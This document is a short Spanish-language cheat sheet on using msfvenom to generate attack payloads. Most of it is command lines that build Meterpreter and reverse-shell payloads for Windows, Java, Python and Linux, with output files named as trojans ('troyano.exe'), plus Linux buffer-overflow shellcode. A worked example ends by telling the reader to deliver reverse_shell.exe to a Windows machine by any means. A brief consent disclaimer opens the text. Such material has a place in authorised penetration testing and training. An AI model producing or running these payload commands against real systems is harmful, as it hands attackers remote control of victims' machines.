Msfvenom es una herramienta de línea de comandos que se utiliza para generar payloads personalizados para una amplia variedad de sistemas operativos y arquitecturas.
Nota: Este tipo de técnicas son muy invasivas, ya que vamos a ganar acceso a distintos sistemas, por lo que no podemos utilizar estas técnicas sin un consentimiento o aprobación por parte del objetivo
Listado de payloads disponibles
msfvenom-lpayloads
Empleo
msfvenom-h
Utiliza el comando "msfvenom" para crear un payload personalizado. Por ejemplo, el siguiente comando crea un payload de reverse de shell de Windows:
Sintaxis 1
# Para Windowsmsfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP_Address> LPORT=<Port>-f exe > payload.exe# En Javamsfvenom -p java/meterpreter/reverse_tcp LHOST=<IP_Address> LPORT=<Port>-f jar > payload.jar
Sintaxis 2
# En pythonmsfvenom -p python/meterpreter/reverse_tcp LHOST={nuestra_ip} LPORT=4444-o troyano.py# Para Windowsmsfvenom -p windows/meterpreter/reverse_tcp LHOST={nuestra_ip} LPORT=4444-o troyano.exe# Para Linuxmsfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<tu_IP> LPORT=<puerto>-f elf > shell.elf
Buffer Overflow en Linux - Shellcode
msfvenom -p linux/x86/shell_reverse_tcp lhost={IP-ATACANTE} lport={PUERTO} --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20" --out shellcode
Caso Práctico
Meterpreter para Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 --platform windows -a x64 -n 200 -e generic/none -i 4 -f exe -o reverse_shell.exe
Enviar reverse_shell.exe a la máquina Windows por el método que queramos:
Este plugin disponible nos permite crear payloads a medida de MsfVenom, pudiendo configurar nuestra IP, puerto, plataforma objetivo, arquitectura y nuestro payload, en este caso un Meterpreter.